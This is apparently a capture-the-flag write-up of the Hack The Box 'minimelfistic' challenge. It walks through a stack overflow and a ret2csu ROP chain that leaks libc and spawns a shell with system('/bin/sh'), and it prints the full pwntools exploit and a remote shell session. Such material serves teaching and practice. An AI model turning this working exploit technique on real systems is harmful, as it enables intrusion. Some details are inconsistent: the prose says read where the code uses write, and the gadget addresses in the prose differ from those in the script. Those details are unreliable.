Binary Exploitation (2): ret2csu

This is the second part of my series on binary exploitation. You can read the first part here.

Challenge

We are looking at the minimelfistic challenge. We are given two files: minimelfistic and libc.so.6. When running the binary, we see the following output:

$ ./minimelfistic

[*] Santa is not home!

[*] Santa is not home!

[!] Santa returned!

[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> 

When typing in y or n, the output repeats (the number of times “Santa is not Home” is displayed is random). Next, we open the binary in Ghidra:

We test that, when typing in a string starting with ‘9’, the program does indeed exit. We can also tell from Ghidra’s output that read can write too many bytes: The buffer can only store 32 bytes while read happily writes over 2000. Since we have now located the memory error, we next need to find a way to exploit it.

First, we inspect the protection mechanisms of the binary:

$ pwn checksec ./minimelfistic
[*] '/share/htb/pwn_minimelfistic/minimelfistic'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Just like in the first post, we need to overwrite the return address on the stack to point to a function that already exists. Checking the binary for anything useful, we find nothing (minimelfistic already gives it away).

Therefore, we need to use functions in the C standard library to give us the flag. Therefore, we inspect the security of the provided libc.so.6:

$ pwn checksec ./libc.so.6    
[*] '/share/htb/pwn_minimelfistic/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Just like in the first post, we need to find the memory address libc is mapped to.

Reading the GOT

To read an address out of the Global Offset Table, we have to use a standard library function present in the PLT. We look at the standard library functions that are present:

$ nm -gj ./minimelfistic
alarm@@GLIBC_2.2.5
banner
__bss_start
__data_start
data_start
_dl_relocate_static_pie
__dso_handle
_edata
_end
_fini
__gmon_start__
_init
_IO_stdin_used
__libc_csu_fini
__libc_csu_init
__libc_start_main@@GLIBC_2.2.5
main
rand@@GLIBC_2.2.5
read@@GLIBC_2.2.5
sec_alarm
setup
setvbuf@@GLIBC_2.2.5
sleep@@GLIBC_2.2.5
srand@@GLIBC_2.2.5
_start
stdin@@GLIBC_2.2.5
stdout@@GLIBC_2.2.5
strlen@@GLIBC_2.2.5
time@@GLIBC_2.2.5
__TMC_END__
write@@GLIBC_2.2.5

We see that the only useful function is read. Looking at the manpage (man 3 read), we see the following signature:

ssize_t read(int fildes, void *buf, size_t nbyte);

Since we are on 64 bit Linux (System V ABI), we need to put the file descriptor in rdi, the buffer pointer in rsi and the number of bytes in rdx. We can break out of the main loop and through the stack overflow, write into the return address of the main function.

Finding Gadgets

To find ROP gadgets in the binary, we again use $ ROPgadget --binary ./minimelfistic. We find gadgets for rdi and rsi, but nothing for rdx. As I had already heard of a technique called ret2csu, I check out the original paper.

The technique makes use of two gadgets located in the libc startup code (__libc_csu_init):

0x401420
MOV        RDX,R15
MOV        RSI,R14
MOV        EDI,R13D
CALL       qword ptr [R12 + RBX*0x8]
ADD        RBX,0x1
CMP        RBP,RBX
JNZ        LAB_00401420
0x401436
ADD        RSP,0x8
POP        RBX
POP        RBP
POP        R12
POP        R13
POP        R14
POP        R15
RET

To write into the registers rdi, rsi and rdi, we first return to 0x401436. Then, we can write into registers rbx, rbp, r12, r13, r14 and r15. After that, we return to 0x401420 where r15 and rt14 are copied to rdx and rsi. By putting the right values into r12 and rbx, we can call write in the PLT. After the write, we want to return to the main function.

We also have to fill rbx and rbp in a way such that rbx+1=rbp and we don’t jump out of the gadget. After the call, we just put zeros into the registers:

payload = b'9'*72
payload += p64(0x400a3a) # pop rbx; pop rbp, pop r12; pop r13; pop r14; pop r15
payload += p64(0) # rbx --> 24
payload += p64(1) # rbp
payload += p64(elf.got['write']) # r12
payload += p64(1) # r13 --> edi --> stdout
payload += p64(elf.got['write']) # r14 --> rsi --> buf
payload += p64(8) # r15 --> rdx --> nbyte
payload += p64(0x400a20) # mov rdx, r15; mov rsi, r14; mov edi, r13; call [r12+rbx*8]; ...
payload += b'\x00'*56
payload += p64(elf.symbols['main'])

We then get the base address of libc. Just like in the last post, we can use a pop rdi; ret gadget to call system("/bin/sh").

Running the script

We run the script and get the flag:

$ python3 solve.py
[*] '/share/htb/pwn_minimelfistic/minimelfistic'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/share/htb/pwn_minimelfistic/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 178.62.32.210 on port 31283: Done
leaked libc 0x7f99e14b2000
[*] Switching to interactive mode
Goodbye Santa!

[!] For your safety, the 🚨 will not be deactivated!
$ ls
flag.txt  libc.so.6  minimelfistic
$ cat flag.txt
HTB{S4nt4_15_n0w_r34dy_t0_g1v3_s0m3_g1ft5}
$ 
[*] Closed connection to 178.62.32.210 port 31283

The final script looks like this:

from pwn import *

local = True

elf = ELF('./minimelfistic')
if local:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = elf.process()
else:
    libc = ELF('./libc.so.6')
    p = remote('178.62.32.210', 31283)

p.recvuntil(b'> ')
payload = b'9'*72
payload += p64(0x400a3a) # pop rbx; pop rbp, pop r12; pop r13; pop r14; pop r15
payload += p64(0) # rbx --> 24
payload += p64(1) # rbp
payload += p64(elf.got['write']) # r12
payload += p64(1) # r13 --> edi --> stdout
payload += p64(elf.got['write']) # r14 --> rsi --> buf
payload += p64(8) # r15 --> rdx --> nbyte
payload += p64(0x400a20) # mov rdx, r15; mov rsi, r14; mov edi, r13; call [r12+rbx*8]
payload += b'\x00'*56
payload += p64(elf.symbols['main']) 
p.sendline(payload)
p.recvuntil(b'deactivated!\n')
libc.address = int.from_bytes(p.recv(8), byteorder='little')-libc.symbols['write'] 
print("leaked libc", hex(libc.address))

payload = b'9'*72
payload += p64(0x400a43) # pop rdi
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(0x400616)
payload += p64(libc.symbols['system'])
p.recvuntil(b'> ')
p.sendline(payload)
p.interactive()